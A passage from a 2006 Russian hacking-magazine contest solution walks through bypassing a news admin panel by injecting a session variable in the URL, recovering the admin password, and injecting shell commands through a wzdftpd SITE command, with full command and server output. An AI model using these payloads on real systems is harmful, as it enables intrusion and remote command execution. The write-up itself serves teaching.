Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #87, МАРТ 2006 г.

Х-конкурс

GHC (www.ghc.ru)

Хакер, номер #087, стр. 087-090-2


http://81.177.29.6/news/admin.php?_SESSION[validuser]=1.

Получилось! Мы в админке. Смотрим, что тут за пользователь с паролем:

http://81.177.29.6/news/admin.php?menu=settings&r=4&_SESSION[validuser]=1 и

получаем пару admin:getmeBabe.

Теперь возвращаемся к нашему ftpd, но для начала отправляемся на домашнюю страничку демона (www.wzdftpd.net) и читаем о синтаксисе уязвимой команды SITE.

Подключаемся к серверу и проходим аутентификацию с раздобытым паролем:

USER admin

331 User admin okay, need password.

PASS getmeBabe

230-command ok

230 User logged in, proceed.

SITE version

200 wzdftpd i686-pc-gnu mt 0.5.4 build 20060223 (threads,release)

SITE user | id;

501 User does not exists

quit

221 Cya !

Connection closed by foreign host.

Что-то не так. Попробуем найти подробности. Дальнейший поиск нам дает еще один эксплоит: www.milw0rm.com/id.php?id=1231. Пользуются им так: wzdftpdwarez.pl remote_host remote_port user pass custom_site_command.

Здесь мы видим, что нужно задавать не просто встроенную команду SITE, а пользовательскую команду. Что ж, придется качать исходники:

http://prdownloads.sourceforge.net/wzdftpd/wzdftpd-0.5.4.tar.gz?download

Распаковываем и находим в папке src пример конфигурационного файла:

wzd.cfg.sample

Находим описание пользовательских команд:

##### CUSTOM SITE COMMANDS

# Here you can define external site commands.

#site_cmd = my_free ./free.sh

# this defines the SITE RULES command, which prints the following file

site_cmd = rules !/home/pollux/DEL/etc/wzdftpd/file_rules.txt

Хм… Интересно, админ оставил команду rules как custom? Пробуем:

ftp> open 81.177.29.6

Connected to 81.177.29.6 (81.177.29.6).

220 wzd server ready.

Name (81.177.29.6:root): admin

530 TLS commands disabled

SSL not available

331 User admin okay, need password.

Password:

230-command ok

230 User logged in, proceed.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> site rules | id;

200-

uid=502(wzdftpd) gid=502(wzdftpd) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

200 SITE command ok

ftp> site rules | echo ghc finished the quest > /home/admin/Desktop/ghc_resume.txt;

200-

200 SITE command ok

ftp> quit

221 Cya !

Вот, собственно, и все. Именно так нужно было проходить конкурс. Первым с это задачей справился ittrium (#152322). Если тебе так и не удалось поломать наш сервер, настоятельно рекомендую тебе заглянуть на диск и посмотреть видео, которое наглядно показывает, что надо было делать для прохождения конкурса. Новый конкурс появится на странице konkurs.xakep.ru примерно к 20му марта.

Назад на стр. 087-090-1  Содержание